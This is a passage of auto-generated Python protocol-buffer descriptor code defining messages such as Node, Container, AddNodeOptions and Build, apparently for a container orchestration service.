enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=388,
serialized_end=429,
)
_NODE_CPUENTRY = _descriptor.Descriptor(
name='CpuEntry',
full_name='pb.Node.CpuEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Node.CpuEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Node.CpuEntry.value', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=608,
serialized_end=650,
)
_NODE_LABELSENTRY = _descriptor.Descriptor(
name='LabelsEntry',
full_name='pb.Node.LabelsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Node.LabelsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Node.LabelsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=652,
serialized_end=697,
)
_NODE = _descriptor.Descriptor(
name='Node',
full_name='pb.Node',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.Node.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='endpoint', full_name='pb.Node.endpoint', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='podname', full_name='pb.Node.podname', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cpu', full_name='pb.Node.cpu', index=3,
number=4, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='memory', full_name='pb.Node.memory', index=4,
number=5, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='info', full_name='pb.Node.info', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='available', full_name='pb.Node.available', index=6,
number=7, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='labels', full_name='pb.Node.labels', index=7,
number=8, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_NODE_CPUENTRY, _NODE_LABELSENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=432,
serialized_end=697,
)
_NODES = _descriptor.Descriptor(
name='Nodes',
full_name='pb.Nodes',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='nodes', full_name='pb.Nodes.nodes', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=699,
serialized_end=731,
)
_NODEAVAILABLE = _descriptor.Descriptor(
name='NodeAvailable',
full_name='pb.NodeAvailable',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.NodeAvailable.nodename', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='podname', full_name='pb.NodeAvailable.podname', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='available', full_name='pb.NodeAvailable.available', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=733,
serialized_end=802,
)
_CONTAINER = _descriptor.Descriptor(
name='Container',
full_name='pb.Container',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.Container.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='podname', full_name='pb.Container.podname', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.Container.nodename', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='name', full_name='pb.Container.name', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='info', full_name='pb.Container.info', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=804,
serialized_end=890,
)
_CONTAINERDEPLOYEDOPTIONS = _descriptor.Descriptor(
name='ContainerDeployedOptions',
full_name='pb.ContainerDeployedOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.ContainerDeployedOptions.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='appname', full_name='pb.ContainerDeployedOptions.appname', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='entrypoint', full_name='pb.ContainerDeployedOptions.entrypoint', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.ContainerDeployedOptions.nodename', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='data', full_name='pb.ContainerDeployedOptions.data', index=4,
number=5, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=892,
serialized_end=999,
)
_CONTAINERS = _descriptor.Descriptor(
name='Containers',
full_name='pb.Containers',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='containers', full_name='pb.Containers.containers', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1001,
serialized_end=1048,
)
_CONTAINERID = _descriptor.Descriptor(
name='ContainerID',
full_name='pb.ContainerID',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='pb.ContainerID.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1050,
serialized_end=1075,
)
_CONTAINERIDS = _descriptor.Descriptor(
name='ContainerIDs',
full_name='pb.ContainerIDs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ids', full_name='pb.ContainerIDs.ids', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1077,
serialized_end=1104,
)
_REMOVECONTAINEROPTIONS = _descriptor.Descriptor(
name='RemoveContainerOptions',
full_name='pb.RemoveContainerOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ids', full_name='pb.RemoveContainerOptions.ids', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='force', full_name='pb.RemoveContainerOptions.force', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1106,
serialized_end=1158,
)
_REALLOCOPTIONS = _descriptor.Descriptor(
name='ReallocOptions',
full_name='pb.ReallocOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ids', full_name='pb.ReallocOptions.ids', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cpu', full_name='pb.ReallocOptions.cpu', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='mem', full_name='pb.ReallocOptions.mem', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1160,
serialized_end=1215,
)
_ADDPODOPTIONS = _descriptor.Descriptor(
name='AddPodOptions',
full_name='pb.AddPodOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.AddPodOptions.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='favor', full_name='pb.AddPodOptions.favor', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='desc', full_name='pb.AddPodOptions.desc', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1217,
serialized_end=1275,
)
_REMOVEPODOPTIONS = _descriptor.Descriptor(
name='RemovePodOptions',
full_name='pb.RemovePodOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.RemovePodOptions.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1277,
serialized_end=1309,
)
_GETPODOPTIONS = _descriptor.Descriptor(
name='GetPodOptions',
full_name='pb.GetPodOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.GetPodOptions.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1311,
serialized_end=1340,
)
_ADDNODEOPTIONS_LABELSENTRY = _descriptor.Descriptor(
name='LabelsEntry',
full_name='pb.AddNodeOptions.LabelsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.AddNodeOptions.LabelsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.AddNodeOptions.LabelsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=652,
serialized_end=697,
)
_ADDNODEOPTIONS = _descriptor.Descriptor(
name='AddNodeOptions',
full_name='pb.AddNodeOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.AddNodeOptions.nodename', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='endpoint', full_name='pb.AddNodeOptions.endpoint', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='podname', full_name='pb.AddNodeOptions.podname', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ca', full_name='pb.AddNodeOptions.ca', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cert', full_name='pb.AddNodeOptions.cert', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='key', full_name='pb.AddNodeOptions.key', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cpu', full_name='pb.AddNodeOptions.cpu', index=6,
number=7, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='share', full_name='pb.AddNodeOptions.share', index=7,
number=8, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='memory', full_name='pb.AddNodeOptions.memory', index=8,
number=9, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='labels', full_name='pb.AddNodeOptions.labels', index=9,
number=10, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_ADDNODEOPTIONS_LABELSENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1343,
serialized_end=1590,
)
_REMOVENODEOPTIONS = _descriptor.Descriptor(
name='RemoveNodeOptions',
full_name='pb.RemoveNodeOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.RemoveNodeOptions.nodename', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='podname', full_name='pb.RemoveNodeOptions.podname', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1592,
serialized_end=1646,
)
_GETNODEOPTIONS = _descriptor.Descriptor(
name='GetNodeOptions',
full_name='pb.GetNodeOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='podname', full_name='pb.GetNodeOptions.podname', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.GetNodeOptions.nodename', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1648,
serialized_end=1699,
)
_LISTNODESOPTIONS = _descriptor.Descriptor(
name='ListNodesOptions',
full_name='pb.ListNodesOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='podname', full_name='pb.ListNodesOptions.podname', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='all', full_name='pb.ListNodesOptions.all', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1701,
serialized_end=1749,
)
_BUILD_ENVSENTRY = _descriptor.Descriptor(
name='EnvsEntry',
full_name='pb.Build.EnvsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Build.EnvsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Build.EnvsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2028,
serialized_end=2071,
)
_BUILD_ARGSENTRY = _descriptor.Descriptor(
name='ArgsEntry',
full_name='pb.Build.ArgsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Build.ArgsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Build.ArgsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2073,
serialized_end=2116,
)
_BUILD_LABELSENTRY = _descriptor.Descriptor(
name='LabelsEntry',
full_name='pb.Build.LabelsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Build.LabelsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Build.LabelsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=652,
serialized_end=697,
)
_BUILD_ARTIFACTSENTRY = _descriptor.Descriptor(
name='ArtifactsEntry',
full_name='pb.Build.ArtifactsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Build.ArtifactsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Build.ArtifactsEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2165,
serialized_end=2213,
)
_BUILD_CACHEENTRY = _descriptor.Descriptor(
name='CacheEntry',
full_name='pb.Build.CacheEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='pb.Build.CacheEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='pb.Build.CacheEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2215,
serialized_end=2259,
)
_BUILD = _descriptor.Descriptor(
name='Build',
full_name='pb.Build',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='base', full_name='pb.Build.base', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repo', full_name='pb.Build.repo', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='version', full_name='pb.Build.version', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dir', full_name='pb.Build.dir', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='commands', full_name='pb.Build.commands', index=4,
